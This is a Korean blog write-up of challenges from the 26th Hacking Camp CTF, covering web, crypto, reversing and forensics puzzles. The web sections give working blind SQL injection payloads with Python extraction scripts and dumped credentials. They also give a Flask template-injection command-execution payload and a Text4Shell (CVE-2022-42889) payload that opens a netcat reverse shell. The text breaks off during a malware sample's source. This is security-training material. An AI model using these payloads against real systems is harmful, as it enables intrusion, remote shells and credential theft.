제 26회 해킹캠프 CTF Write-Up

제 26회 해킹캠프 CTF Write-Up

in

운좋게 해킹캠프에 참가할 수 있는 기회를 얻게되어 참가를 하게 됬습니다.

해당 포스트는 제26회 동계 해킹캠프 CTF 문제풀이이며 제가 풀 수 있는 문제들을 정리했습니다.

Web - SQL에게로 떠나는 여행

image title

노래를 재생하는 웹사이트이며, 노래가 어느정도 재생 되면 로그인 창이 나타납니다. image index

guest:guest로 로그인이 가능합니다. image guest login

로그인 시도시 응답패킷을 살펴보면 Code라는 헤더가 추가적으로 존재하는것을 확인할 수 있습니다. image Response Packet

“with debug parameter”라고 적혀있으며, debug 파라미터를 붙여주면 아래와 같이 쿼리문을 디버깅 할 수 있는 페이지가 출력 됩니다.

image debugging page

ini_set( "display_errors", 1 );

include "./db.php";
include "./flag.php";

$id = '';
$pw = '';
$DEBUG = false;
$tblname = 'chall';

header('Code: with debug parameter');
if (isset($_GET["debug"])) {
    # code highlight
    highlight_file(__FILE__);
    $DEBUG = true;
}

//////////////////////////////////////////////////

function query($conn, $q) {
    $result = mysqli_query($conn, $q);
    if (!$result) {
        echo("쿼리오류 발생: " . mysqli_error($conn));
    }
    $row = mysqli_fetch_array($result);
    if (!$row) die('{"status":"fail", "msg":"User not found."}');
    
    return $row[0];
}

if (isset($_GET["id"])) $id = trim($_GET["id"]);
if (isset($_GET["pw"])) $pw = trim($_GET["pw"]);

$query = "SELECT * FROM ". $tblname ." WHERE id='". $id ."' AND pw='". $pw ."';";
if ($DEBUG) echo "<h4>".$query."</h4><hr>";

/////////////////////////////////////////////////

if ($DEBUG) echo "<br>[Stage 1] : ".query($conn, $query)."<br>";

if(preg_match("/(\/| )(and|or)(\/| )/i", $id.$pw)) exit('{"status":"fail", "msg":"Hacking Detected!"}');
if ($DEBUG) echo "<br>[Stage 2] : ".query($conn, $query)."<br>";

if(preg_match("/(\||\&)/i", $id.$pw)) exit('{"status":"fail", "msg":"Hacking Detected!"}');
if ($DEBUG) echo "<br>[Stage 3] : ".query($conn, $query)."<br>";

if(preg_match("/(#|-)/i", $id.$pw)) exit('{"status":"fail", "msg":"Hacking Detected!"}');
if ($DEBUG) echo "<br>[Stage 4] : ".query($conn, $query)."<br>";

if(preg_match("/(\/| )(limit|like|union|select)(\/| )/i", $id.$pw)) exit('{"status":"fail", "msg":"Hacking Detected!"}');
if ($DEBUG) echo "<br>[Stage 5] : ".query($conn, $query)."<br>";

# check!
$name = query($conn, $query);

if (!$DEBUG) {
    if (query($conn, $query) == "2023_admin" & strlen($id.$pw) <= 7) {
        echo '{"status":"success", "msg":"'. $flag .'"}';
    } else {
        echo '{"status":"success", "msg":"'.$name.'님 안녕하세요. 월 9,900원에 무제한 스트리밍을 즐겨보세요 :)"}';
    }
}


?>
SELECT * FROM chall WHERE id='' AND pw='';

해당 페이지의 가장 아래부분을 보면 디버깅용도로 필터링을 테스트하는 코드가 존재합니다. 필터링은 아래와 같이 총 5단계 까지 존재합니다.

if ($DEBUG) echo "<br>[Stage 1] : ".query($conn, $query)."<br>";

if(preg_match("/(\/| )(and|or)(\/| )/i", $id.$pw)) exit('{"status":"fail", "msg":"Hacking Detected!"}');
if ($DEBUG) echo "<br>[Stage 2] : ".query($conn, $query)."<br>";

if(preg_match("/(\||\&)/i", $id.$pw)) exit('{"status":"fail", "msg":"Hacking Detected!"}');
if ($DEBUG) echo "<br>[Stage 3] : ".query($conn, $query)."<br>";

if(preg_match("/(#|-)/i", $id.$pw)) exit('{"status":"fail", "msg":"Hacking Detected!"}');
if ($DEBUG) echo "<br>[Stage 4] : ".query($conn, $query)."<br>";

if(preg_match("/(\/| )(limit|like|union|select)(\/| )/i", $id.$pw)) exit('{"status":"fail", "msg":"Hacking Detected!"}');
if ($DEBUG) echo "<br>[Stage 5] : ".query($conn, $query)."<br>";

사실상 SQL Injection이 불가능하도록 필터링이 되어있지만, 해당 디버깅 페이지에서는 아무 필터링이 걸려있지 않는 Stage 1의 출력 내용으로 SQL Injection을 시도할 수 있습니다.

또한 최종적으로 플래그를 얻기 위해서는 5단계의 필터링을 넘어서 2023_admin 계정으로 로그인 해야하기 때문에 해당 계정의 비밀번호를 알아내야 합니다.

if (!$DEBUG) {
    if (query($conn, $query) == "2023_admin" & strlen($id.$pw) <= 7) {
        echo '{"status":"success", "msg":"'. $flag .'"}';
    } else {
        echo '{"status":"success", "msg":"'.$name.'님 안녕하세요. 월 9,900원에 무제한 스트리밍을 즐겨보세요 :)"}';
    }
}

stag 1의 출력 내용으로 Blind SQL Injection을 시도합니다. image sql injection

아래 페이로드로 DB명, Table명, 컬럼 명 간단하게 구할 수 있는 데이터는 바로 구해줍니다.

// db 길이
' or (select length(database()) < {size})#
// db 이름
' or (select ord(substr(database(), 1, 1)) < {size})#
// table 갯수
' or (select count(table_name) from information_schema.tables where table_schema = 'CTF') = 1#
// table 길이
' or (select length(table_name) from information_schema.tables where table_schema = 'CTF') = 5#
// 컬럼 갯수
' or (select count(column_name) from information_schema.columns where table_name = 'chall') = 2#
// 컬럼 이름
' or (select column_name from information_schema.columns where table_name = 'chall' limit 0, 1) = 'id'#
// 컬럼 명
' or (select column_name from information_schema.columns where table_name = 'chall' limit 1, 1) = 'pw'#

컬럼의 값을 구하는과정은 수동으로 작업하면 오래걸리기 때문에 스크립트를 작성했습니다.

import requests
import string

url = 'http://***.***.***.***:*****/login.php/?debug'
params = {
        'debug': '',
        'pw': '1',
        'id': ''
        }

def do_request(payload):
    params['id'] = payload
    c = requests.get(url, params=params)
    #print(f"payload is {payload}")
    return '[Stage 1] : guest' in c.text

def bin_search(low, high, payload): 
    while 1:
        mid = int((low + high) / 2)
        #if (low == mid):
        if (low+1 == high):
            return mid

        #print(f"{low} {high} {mid}")

        if (do_request(payload.format(size = mid))): # 값이 참이라면
            high = mid
        else:
            low = mid

def get_count(query):
    count =  bin_search(1, 100, query)
    return count

def get_len(query, count):
    size_list = []
    for i in range(0, count):
        size = bin_search(1, 100, query.format(idx = i))
        size_list.append(size)
    return size_list

def get_name(query, size_list):
    name_list = [] 

    for i in range(0, len(size_list)):
        name = ''
        for j in range(1, size_list[i] + 1):
            name += chr(bin_search(1, 127, query.format(idx = i, subidx = j)))
        print(f"name is {name}")
        name_list.append(name)
    return name_list

if __name__ == "__main__":
    count = get_count("' or (select count(id) from chall) < {size}# ")
    print(f"id column count is {count}")

    id_size_list = get_len("' or (select length(id) from chall limit {idx}, 1) < # ", count)
    print(f"size list is {id_size_list}")

    id_list = get_name("' or (select ord(substr(id, {subidx}, 1)) from chall limit {idx}, 1) < #", id_size_list)

    print(f"id list is {id_list}")

    pw_size_list = get_len("' or (select length(pw) from chall limit {idx}, 1) < # ", count)
    print(f"password size list is {pw_size_list}")

    pw_list = get_name("' or (select ord(substr(pw, {subidx}, 1)) from chall limit {idx}, 1) < #", pw_size_list)
    print(f"pw list is {pw_list}")

#    idlen = get_len("' or (select length(database()) < {size})#")
#    print(f"db len is {dblen}")
#    idname = get_name("' or (select ord(substr(database(), {idx}, 1)) < )#", dblen)
#    print(f"dbname {dbname}")

스크립트를 돌려서 모든 계정의 아이디와 패스워드를 알아냅니다.

$ python3 sqli.py
id column count is 9
size list is [5, 5, 5, 10, 10, 10, 10, 10, 10]
name is guest
name is user1
name is user2
name is 2020_admin
name is 2021_admin
name is 2022_admin
name is 2023_admin
name is 2024_admin
name is 2025_admin
id list is ['guest', 'user1', 'user2', '2020_admin', '2021_admin', '2022_admin', '2023_admin', '2024_admin', '2025_admin']
password size list is [5, 40, 40, 40, 40, 40, 40, 40, 40]
name is guest
name is b8d645e25ac02ea40e5b7983754e47338a24f909
name is c831d7988969c488233fb18de263282e19b902ac
name is d53c7a897ed580f1aecf5b93b8085eacbd4089a5
name is b8d0e3b05c2f4813c9fdbd0ec0214e0f82c62d64
name is 99133d42ece32a6784595e8b7b03584dec82e0c9
name is f3b2230bc4fe66f382fa8281dc1cd1d9a7b0725d
name is e692806b065615ce818365548c97885eb1d80ea4
name is 9736c19ebc1f9a777acc38ee68cf4517feaba66a
pw list is ['guest', 'b8d645e25ac02ea40e5b7983754e47338a24f909', 'c831d7988969c488233fb18de263282e19b902ac', 'd53c7a897ed580f1aecf5b93b8085eacbd4089a5', 'b8d0e3b05c2f4813c9fdbd0ec0214e0f82c62d64', '99133d42ece32a6784595e8b7b03584dec82e0c9', 'f3b2230bc4fe66f382fa8281dc1cd1d9a7b0725d', 'e692806b065615ce818365548c97885eb1d80ea4', '9736c19ebc1f9a777acc38ee68cf4517feaba66a']

image run script: 아랫 부분은 password is여야 하는데 잘못 적었습니다

최종적으로 2023_admin 계정의 비밀번호는 “f3b2230bc4fe66f382fa8281dc1cd1d9a7b0725d” 입니다. 그러나 단순히 id와 pw만 입력한다면 로그인만 되고 플래그는 보이지 않습니다.

image 2023_admin login

그 이유는 플래그값이 출력되는 조건이 id와 password를 합한 길이가 7 이하여야 하기 때문입니다.

if (!$DEBUG) {
    if (query($conn, $query) == "2023_admin" & strlen($id.$pw) <= 7) {
        echo '{"status":"success", "msg":"'. $flag .'"}';
    } else {
        echo '{"status":"success", "msg":"'.$name.'님 안녕하세요. 월 9,900원에 무제한 스트리밍을 즐겨보세요 :)"}';
    }
}

id와 password에 7글자 이하의 값을 입력하여 로그인하는 방법은 아래와 같습니다.

우선 로그인 쿼리는 다음과 같습니다.
select * from table where id = ‘’ and pw = ‘’

여기서 id에 “\” 문자를 넣어 아래와 같은 형태를 만듭니다.
select * from table where id = ‘\' and pw ='

id에 “\” 문자 하나를 썻으므로 추가적으로 6글자를 입력해서 로그인을 해야합니다.

여기서는 DB SQL에서 문자열과 숫자를 어떻게 비교하는지 알필요가 있습니다.
sql상에서 문자만 존재하는 문자열은 숫자 0과 동일합니다. image select ‘a’ = 0

문자열의 첫부분에 숫자가 존재한다면 그 숫자를 인식하게 됩니다. image select ‘1a’ = 1

즉 문자열 “2023a”는 숫자 2023과 동일하며 “2023a” + 1을 연산할 시 2024가 됩니다. image select ‘2023a’ + 1 == 2024

이러한 원리를 적용하여 id에는 “\“를 넣고, pw에는 “+’2023” 을 넣으면 아래와 같은 형태가 됩니다.
select * from table where id = ‘\' and pw =''+'2023

앞의 ‘\' and pw ='‘은 0이 되고 0+2023이 되어 최종적으로 아래와 같은 쿼리가 됩니다.
select * from table where id = ‘2023’

또한 2023_admin은 숫자 2023과 동일하기 때문에 딱 7글자 만으로 로그인에 성공하게 되며, 플래그를 얻게 됩니다. image Get Flag

Web - 지금 무슨 노래 듣고 계세요?

image title

Password를 입력하는 인풋 박스와, index 페이지에 검은색으로 가려진 부분이 있습니다. image index

가려진 부분을 개발자 도구로 보면 암호화된 데이터를 확인할 수 있습니다. 추가적으로 주석에서 암호화 방법까지 확인할 수 있습니다.

86931336e61585356646332657472385a49365a5a76585954493655667a475a577c68435
<!--
    function makeSecret($password) {
      return strrev(bin2hex(base64_encode($password)));
    } -->

image DevTools

암호화 방법은 “strrev → hex2bin → base64 decode” 과정을 거치며 역의 과정을 거쳐 복호화를 해줍니다.

[strrev] 파이썬 또는 자바스크립트를 이용해 글자를 뒤집습니다. image python image javascript

아래와 같은 데이터가 나옵니다.

53486c775a574a76655639445958567a5a56394a58327475623364665358516e63313968

[hex2bin] hex2bin online 사이트가 있어서 사이트를 이용했습니다.
https://onlinephp.io/hex2bin image hex2bin site

아래와 같은 데이터가 나옵니다.

SHlwZWJveV9DYXVzZV9JX2tub3dfSXQnc19h

[Base64 Decoding] 사이트를 이용해서 디코딩 해줍니다. image Base64 Decoding

아래와 같은 데이터가 나옵니다.

Hypeboy_Cause_I_know_It's_a

해당 값을 PW 인풋란에 넣고 Sign In 버튼을 누르면 fake password 라며 “NEwJeaNs_Co0ki3” 값을 출력해줍니다.

image index-2

해당 페이지에는 “WhatSong?” 이라는 쿠키가 존재하는데, 해당 쿠키 값으로 “NEwJeaNs_Co0ki3”를 넣고 요청을 보내주면 최종적으로 플래그를 얻을 수 있습니다. image Get Flag

HCAMP{WHat_sOng_Are_Y0u_List3nin9_To?_NEwJeaNs_Co0ki3}

Web - Starlink

image title

flag를 적는 인풋박스와 send 버튼이 있습니다. image index

해당 사이트는 flask 기반 웹서버이며 app.py 라는 소스코드를 제공해줍니다.

# app.py
from flask import Flask, render_template, render_template_string, request

app = Flask(__name__)

def filter_template(query):
    if "import" in query or "config" in query:
        return True

@app.route("/", methods=["GET", "POST"])
def index():
    if request.method == "GET":
        mars = request.args.get("mars")

        return render_template("index.html", mars=mars)
    elif request.method == "POST":
        mars = request.form.get("mars")
        result = filter_template(mars)
        if result == True:
            return "Filtering haha, bypass go"
        return render_template_string(mars)

if __name__ == '__main__':
    app.run('0.0.0.0', 5000)

해당 서버는 POST 메소드 요청시 사용자가 입력한 문자열을 “render_template_string” 함수로 보낼 수 있습니다. SSTI(Server-Side Template Injection) 취약점이 존재하며 이를 이용해 RCE가 가능합니다.

SSTI

SSTI 취약점에 대해서는 아래 링크에 잘 정리 되어있으니 필요하시면 참고 바랍니다.

Request 메소드를 POST로 변경후 content-type을 추가합니다.
아래 페이로드로 ls -la 명령어를 실행합니다.

{{ [].__class__.__mro__[-1].__subclasses__()[-1]('ls -la',stdout=-1,stderr=-1,shell=True).communicate() }}

image RCE

flag 파일이 존재함을 확인했으며 아래 페이로드로 플래그의 내용을 읽습니다.

{{ get_flashed_messages.**globals**.**builtins**.open("flag").read() }}
POST / HTTP/1.1
Host: ***.***.***.***:*****
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 107
Content-Type: application/x-www-form-urlencoded

mars=%7b%7b%20get_flashed_messages.__globals__.__builtins__.open(%22%2flag%22).read()%20%7d%7d

image Get Flag

HCAMP{5t4r1ink_mars_g0g0g0}

config 와 import가 필터링 되어있는데 굳이 사용하지 않아도 클리어 가능했습니다.

Web - 이 노래 제목이 뭐였더라?

급하게 푸느라 타이틀 스크린샷을 찍지 못했습니다. Get Flag 화면으로 대체합니다. image index

SQL Injection 문제이며 특정 노래의 제목을 입력하거나 참이 되는값을 넣으면 노래 목록이 출력됩니다.
제 기억으로 주석상 “Column Name: serial_number” 이라는 문구가 있던걸로 기억합니다.

아래와 같은 페이로드로 DB, 테이블, 컬럼 등의 정보를 알아낼 수 있습니다.

xxx' || (select length(database()) like 8) && '1' like '1

테이블명이 musicbox인것을 알아 낸 후 serial_number 컬럼값을 출력하는 스크립트를 작성해서 돌려줍니다.

import requests
url = 'http://***.***.***.***:*****/index.php'

params = {
        'number': 'hype boy'
        }

def get_response(payload):
    params['number'] = payload
    c = requests.get(url, params=params)
    return 'Hype' in c.text

def bin_search(low, high, payload): 
    while 1:
        mid = int((low + high) / 2)
        #if (low == mid):
        if (low+1 == high):
            return mid

        print(f"{low} {high} {mid}")

        if (get_response(payload.format(size = mid))): # 값이 참이라면
            high = mid
        else:
            low = mid
    
def get_length(data_count):
    query_tmpl = "x' || (select (length(serial_number)) from musicbox limit {idx}, 1) <  && '1' like '1"
    for idx in range(0, data_count):
        value = bin_search(1, 100, query_tmpl.format(idx = idx))
        print(f"value is {value}")
        
def get_string(data_count, size):
    query_tmpl = "x' || (select substr(serial_number, {num_idx}, 1) from musicbox limit {idx}, 1) <  && '1' like '1"
    serial_number = [] 
    for idx in range(0, data_count):
        for num_idx in range(1, size+1):
            value = bin_search(1, 128, query_tmpl.format(num_idx = num_idx, idx = idx))
            serial_number.append(value)
        print(f"{idx} value is {serial_number}")
        serial_number = []

if __name__ == "__main__":
    # data 갯수 = 8개, size 8(모든 no가 동일)
    # get_length(8);
    get_string(8, 8)

실행해주면 총 8개의 데이터가 나옵니다. image Run Python

8개의 시리얼 넘버 중 “15119241”를 넣으면 플래그값이 출력됩니다.

image Get Flag

HCAMP{N4MUNH33'S_F1R5T_L0V3}

Web - Text Encryption Service

image title

index 페이지는 다음과 같습니다. GET 메소드로 query 파라미터로 보낸값을 md5 해싱하여 페이지에 출력해줍니다. image index

해당 문제는 소스코드를 제공해줍니다.

import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
import java.util.Date;
import org.apache.commons.text.StringSubstitutor;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
@RequestMapping("encrypt")
public class TextController {
    
    @RequestMapping(value = "/", method = RequestMethod.GET)
    @ResponseBody
    public String attack(@RequestParam(defaultValue="hackingcamp") String query) {
        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();

        try{
            String result = interpolator.replace(query);
        } catch(Exception e) {
            System.out.println(e);
        }

        String md5 = "";
        try {
            MessageDigest md = MessageDigest.getInstance("MD5");
            md.update(query.getBytes());
            byte[] bytes = md.digest();
            StringBuilder sb = new StringBuilder();
            for(int i=0; i< bytes.length ;i++) {
                sb.append(Integer.toString((bytes[i] & 0xff) + 0x100, 16).substring(1));
            }
            md5 = sb.toString();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }

        return "<!-- service use: /encrypt?query= --> This server is a service that returns an encrypted value based on the entered text. <br><br> Use the service freely <br><br> Encrypted value: " + md5;
    }

}

소스코드상 md5 해싱하는 부분은 문제가 없습니다. 해당 문제는 “org.apache.commons.text.StringSubstitutor” 메소드에 존재하는 Apache Commons Text에서 발견된 취약점 CVE-2022-42889으로 접근해야 합니다.

Text4Shell 공격이라고도 하며 문제가 되는 부분은 “String result = interpolator.replace(query);” 입니다. 해당 부분에서 사용자가 입력한 값으로 RCE를 시도할 수 있습니다.

nc로 리버스 커넥션을 시도하기 위해 Text4Shell RCE 페이로드를 구성해줍니다. (Text4Shell RCE 페이로드는 검색으로 쉽게 발견할 수 있습니다.) ${script:javascript:java.lang.Runtime.getRuntime().exec('nc [ip] [port] -e /bin/bash')}

URL 인코딩해서 query 파라미터로 값을 넘겨주면 대기중인 포트로 쉘이 떨어지고, flag를 확인할 수 있습니다. image Get Flag

HCAMP{for_y0ur_textshe11}

Misc - MD5

image title

문제자체는 굉장히 단순합니다. MD5로 암호화가 되어있는 아래 문자열의 평문을 알아내는 것입니다.

058eaed9ece7e6c925f4de372975af27

해당 해시값은 HCAMP로 시작하는 임의 문자열로 이루어져 있습니다. itertools의 product 함수를 이용해서 HACAMP + ‘임의의 문자열’과 해당 해시를 비교하는 스크립트를 짜서 돌려줍니다.

import hashlib
import string
from itertools import *

flag = "058eaed9ece7e6c925f4de372975af27"
is_found = 0;

for i in range(1, 10):
    printList = list(product(string.ascii_letters, repeat = i))
    for char_list in printList:
        encdata = 'HCAMP' + ''.join(s for s in char_list)
        result = hashlib.md5(encdata.encode()).hexdigest()
        print(encdata + ' md5 hashing: ' + result)
        if result == flag:
            print(f"find flag!!! plain: {str} / md5: {result}")
            ++is_found
            break

    if is_found:
        break;

20분 정도 돌려서 일치하는 해시값을 찾았습니다.

image Get Flag

사이트에서 한번더 확인해봅니다. 일치합니다.

image check

HCAMP{HCAMPpoalA}

Misc - 타임캡슐

image title

해당 문제는 구글 설문지로 퀴즈를 푸는 형식으로 되어 있습니다.

첫번째 문제입니다. image 1차 보호막

68 65 6c 6c 6f 20 68 61 63 6b 69 6e 67 63 61 6d 70

ASCII 코드로 추정되어 문자열로 바꿔주었습니다. image exploit

‘hello hackingcamp’를 입력해서 다음 단계로 넘어갑니다.

두번째 문제입니다.

image 2차 보호막

01010100 01101111 00100000 01010100 01101000 01100101 00100000 01010101 01101110 01101001 01110110 01100101 01110010 01110011 01100101

2진수를 ASCII 코드로 바꿔줍니다.

image exploit

‘To The Universe’를 입력해서 다음 단계로 넘어갑니다.

세번째 문제입니다.

image 3차 보호막

문자열의 형태가 Base64로 추정되어 base64 Decoding을 해주었습니다. image Base64 Decoding

‘Oh my oh my God!’를 입력해서 다음 단계로 넘어갑니다.

네번째 문제입니다.

image 4차 보호막

Nny vmm jryy

해당 암호문은 “Caesar Cipher” 입니다. 이 암호기법은 각 문자를 알파벳의 순서에 따라 일정한 거리만큼 이동시켜서 변환하는 것입니다. 이 경우 “Aal izz well” 문자열에서 각 문자를 오른쪽으로 13개의 칸씩 이동시켜 “Nny vmm jryy”로 변환한 것입니다.

image exploit

‘Aal izz well’를 입력해서 다음 단계로 넘어갑니다.

다섯번째 문제입니다.

image 5차 보호막

사실 해당 문제는 구글 설문지로 되어있기 때문에 정답을 소스코드 보기를 통해서 알 수 있습니다. 정답은 “Congratulations” 이지만 어떤 기법을 사용해서 암호화 된건지 파악이 불가능했습니다.

@lmdqbwvobwjlmp
Congratulations

3과 1씩 증가시키거나 감소시킵니다. image

ChatGPT의 힘을 빌려 암호화 기법을 알아내려 했지만 학습이 잘못된건지 원하는 답변을 들을순 없었습니다.

어쨋든 편법을 이용해서 마지막 문제를 풀어 flag를 얻을 수 있습니다.

image Get Flag

HCAMP{T1m3_is_go1d}

Crypto - 방탈출 막타 기회 드립니다

image title

아래 암호를 해독하는 문제입니다.

wslhzl kljvkl bzpun ihzl64 kNooitznlD91PZI0hNsgPNsgPNGzFDjnZLUIACI7ktCflC92T3Q5E28eGM9pTN5uhD59

힌트로 준 링크를 들어가면 스키테일, 시저, 악보 암호 등의 암호들이 나옵니다.
https://seed.kisa.or.kr/kisa/intro/EgovHistory.do

이런 암호문을 해독할때 팁이 있는데, 문장에서서 가장 자주 쓰이는 문자열을 파악한 후 대입해보는 것입니다. 해당 암호문에서 ihzl64 라는 문자가 눈에 띄었고 base64로 추정되어 복호화를 시도했는데, 알파벳을 7번씩 미루니 정확히 base64와 일치하는것을 확인했습니다.

파이썬을 이용해서 lowercase와 uppser case 알파벳을 대상으로 해당 문자열의 아스키코드값에 7을 빼는 스크립트를 짜서 돌려줍니다.

import string
enc_string = "wslhzl kljvkl bzpun ihzl64 kNooitznlD91PZI0hNsgPNsgPNGzFDjnZLUIACI7ktCflC92T3Q5E28eGM9pTN5uhD59"

str_list = list(enc_string)
dec_string = ''
for a in str_list:
    if (a in string.ascii_lowercase):
        if ord(a)-7 < 97:
            dec_string += chr((123-(7-(ord(a)-97))))
        else:
            dec_string += chr(ord(a)-7)

    elif (a in string.ascii_uppercase):
        if ord(a)-7 < 65:
            dec_string += chr((91-(7-(ord(a)-65))))
        else:
            dec_string += chr(ord(a)-7)
    else:
        dec_string += a

print(dec_string)

깔끔하게 복호화 되었습니다.

dGhhbmsgeW91ISB0aGlzIGlzIGZsYWcgSENBTVB7dmVyeV92M3J5X28xZF9iMG5naW59

image Decrypt

Base64 Decoding 해주면 플래그가 나옵니다. image Get Flag

thank you! this is flag HCAMP{very_v3ry_o1d_b0ngin}

Forensic - The glory

image title

스테가노그래피 문제로 아래 이미지 파일이 제공됩니다. image image

zsteg로 한참 삽질하다가 결국 아래 Steganography Online 사이트에서 Decode 하니 바로 플래그가 나왔습니다.
https://stylesuxx.github.io/steganography/

image Get Flag

HCAMP{Y0u_D0n7_NO_Beautiful_World_JaeJun}

Reversing - Only for Newbie

image title

해킹캠프에 참가한 초보자를 위해 출제된 문제입니다. 바이너리를 실행하면 아래와 같은 메시지가 나옵니다.

image message-1

image message-2

image message-3

image message-4

image message-5

설명 이후 사용자의 입력을 받습니다. image input-1

임의의 값을 넣어봅니다. 정해진 길이값과 일치해야 다음단계로 넘어가는 것 같습니다. image input-2

길이값을 알아내기 위해 GDB로 사용자의 입력을 받는 scanf 문까지 갑니다. image gdb

scanf로 받은 사용자입력값은 $rax에 저장됩니다. 이후 strlen 함수로 사용자가 입력한 길이를 알아낸 후 0x1a값과 비교합니다. 0x1a는 십진수로 26이며 길이가 일치하면 “0x555555555435”로 점프합니다.

0x0000555555555408 <+451>:	call   0x555555555120 <__isoc99_scanf@plt>
0x000055555555540d <+456>:	lea    rax,[rbp-0x70]
0x0000555555555411 <+460>:	mov    rdi,rax
0x0000555555555414 <+463>:	call   0x5555555550d0 <strlen@plt>
0x0000555555555419 <+468>:	cmp    rax,0x1a
0x000055555555541d <+472>:	je     0x555555555435 <main+496>

26글자의 임의의 문자를 입력해줍니다. 이번에는 값이 일치하지 않는다고 나옵니다. image input ‘x’x25

해당 값을 알아내기 위해 길이가 일치하면 점프되는 “0x555555555435” 이후로 비교하는 부분을 분석합니다.

0x0000555555555435 <+496>:	lea    rdi,[rip+0x1254]        # 0x555555556690
0x000055555555543c <+503>:	call   0x5555555550c0 <puts@plt>
0x0000555555555441 <+508>:	movzx  eax,BYTE PTR [rbp-0x70]
0x0000555555555445 <+512>:	cmp    al,0x48
0x0000555555555447 <+514>:	jne    0x555555555457 <main+530>

cmp 부분을 다 모으면 아래와 같습니다.

0x0000555555555445 <+512>:   cmp    al,0x48
0x0000555555555451 <+524>:   cmp    al,0x43
0x0000555555555475 <+560>:   cmp    al,0x41
0x0000555555555499 <+596>:   cmp    al,0x4d
0x00005555555554bd <+632>:   cmp    al,0x50
0x00005555555554e1 <+668>:   cmp    al,0x7b
0x0000555555555505 <+704>:   cmp    al,0x43
0x0000555555555529 <+740>:   cmp    al,0x6f
0x000055555555554d <+776>:   cmp    al,0x6e
0x0000555555555571 <+812>:   cmp    al,0x67
0x0000555555555595 <+848>:   cmp    al,0x72
0x00005555555555b9 <+884>:   cmp    al,0x61
0x00005555555555dd <+920>:   cmp    al,0x74
0x0000555555555601 <+956>:   cmp    al,0x73
0x0000555555555625 <+992>:   cmp    al,0x5f
0x0000555555555649 <+1028>:  cmp    al,0x59
0x000055555555566d <+1064>:  cmp    al,0x6f
0x0000555555555691 <+1100>:  cmp    al,0x75
0x00005555555556b5 <+1136>:  cmp    al,0x5f
0x00005555555556d9 <+1172>:  cmp    al,0x53
0x00005555555556fd <+1208>:  cmp    al,0x6f
0x0000555555555721 <+1244>:  cmp    al,0x6c
0x0000555555555745 <+1280>:  cmp    al,0x76
0x0000555555555769 <+1316>:  cmp    al,0x65
0x000055555555578d <+1352>:  cmp    al,0x64
0x00005555555557b1 <+1388>:  cmp    al,0x7d

문자열로 변환해 주면 플래그를 얻을 수 있습니다. image Get Flag

HCAMP{Congrats_You_Solved}

Reversing - DIS? Python!

image title

디스어셈블 데이터인 main.txt를 참고하여 result.txt를 복호화하는 문제입니다.

result.txt

[288, 268, 260, 308, 320, 492, 260, 432, 448, 416, 388, 392, 404, 464, 380, 292, 460, 380, 280, 468, 440, 500]

main.txt

==================================================
main function
 19           0 BUILD_LIST               0              
              2 STORE_FAST               0 (result)     

 20           4 LOAD_GLOBAL              0 (range)     
              6 LOAD_CONST               1 (0)         
              8 LOAD_GLOBAL              1 (len)        
             10 LOAD_GLOBAL              2 (data)       
             12 CALL_FUNCTION            1              
             14 CALL_FUNCTION            2              
             16 GET_ITER                                
        >>   18 FOR_ITER                24 (to 44)     
             20 STORE_FAST               1 (i)          

 21          22 LOAD_FAST                0 (result)
             24 LOAD_METHOD              3 (append)
             26 LOAD_GLOBAL              4 (formula)
             28 LOAD_GLOBAL              2 (data)
             30 LOAD_FAST                1 (i)
             32 BINARY_SUBSCR
             34 LOAD_CONST               2 (2)
             36 CALL_FUNCTION            2
             38 CALL_METHOD              1
             40 POP_TOP
             42 JUMP_ABSOLUTE           18

 22     >>   44 LOAD_GLOBAL              5 (print)
             46 LOAD_FAST                0 (result)
             48 CALL_FUNCTION            1
             50 POP_TOP
             52 LOAD_CONST               0 (None)
             54 RETURN_VALUE
None
==================================================
formula function
  6           0 LOAD_FAST                1 (shift)
              2 LOAD_FAST                2 (size)
              4 INPLACE_MODULO
              6 STORE_FAST               1 (shift)

  7           8 LOAD_FAST                0 (data)
             10 LOAD_FAST                2 (size)
             12 LOAD_FAST                1 (shift)
             14 BINARY_SUBTRACT
             16 BINARY_RSHIFT
             18 STORE_FAST               3 (remains)

  8          20 LOAD_FAST                0 (data)
             22 LOAD_FAST                1 (shift)
             24 BINARY_LSHIFT
             26 LOAD_FAST                3 (remains)
             28 LOAD_FAST                2 (size)
             30 BINARY_LSHIFT
             32 BINARY_SUBTRACT
             34 STORE_FAST               4 (body)

  9          36 LOAD_FAST                4 (body)
             38 LOAD_FAST                3 (remains)
             40 BINARY_ADD
             42 RETURN_VALUE
None

파이썬 역어셈블러에 대해서 살펴보다가 size = 2와 shfit가 보이길래 shift하는 스크립트를 짜서 게싱으로 풀었습니다.

import string

a = [288, 268, 260, 308, 320, 492, 260, 432, 448, 416, 388, 392, 404, 464, 380, 292, 460, 380, 280, 468, 440, 500]

flag = ''

for i in a:
    data = i >> 2
    flag += chr(data)

print(flag)

스크립트를 돌려주면 플래그를 얻을 수 있습니다. image Get Flag

HCAMP{Alphabet_Is_Fun}

Malware - malware analysis class

image title

제공된 c코드를 분석해서 악성코드에서 PC정보를 가져올때 사용하는 API 함수를 찾으면 됩니다.

// malware class 01
#include <iostream>
#include <winsock2.h>
#include <fstream>
#include <sstream>
#include <string>
#include <Windows.h>
#include <vector>
#include <algorithm>
#include <openssl/bio.h>
#include <openssl.evp.h>

#pragma comment(lib, "ws2_32.lib")
using namespace std; 

string base64Encode(const std::vector<unsigned char>& data) {
	BIO* b64 = BIO_new(BIO_f_base64());
	BIO* bio = BIO_new(BIO_s_mem());
	bio = BIO_push(b64, bio);

	BIO_write(bio, data.data(), data.size());
	BIO_flush(bio);

	BUF_MEM* buffer = NULL;
	BIO_get_mem_ptr(bio, &buffer);

	string result(buffer->data, buffer->length);
	BIO_free_all(bio);

	return result;
}

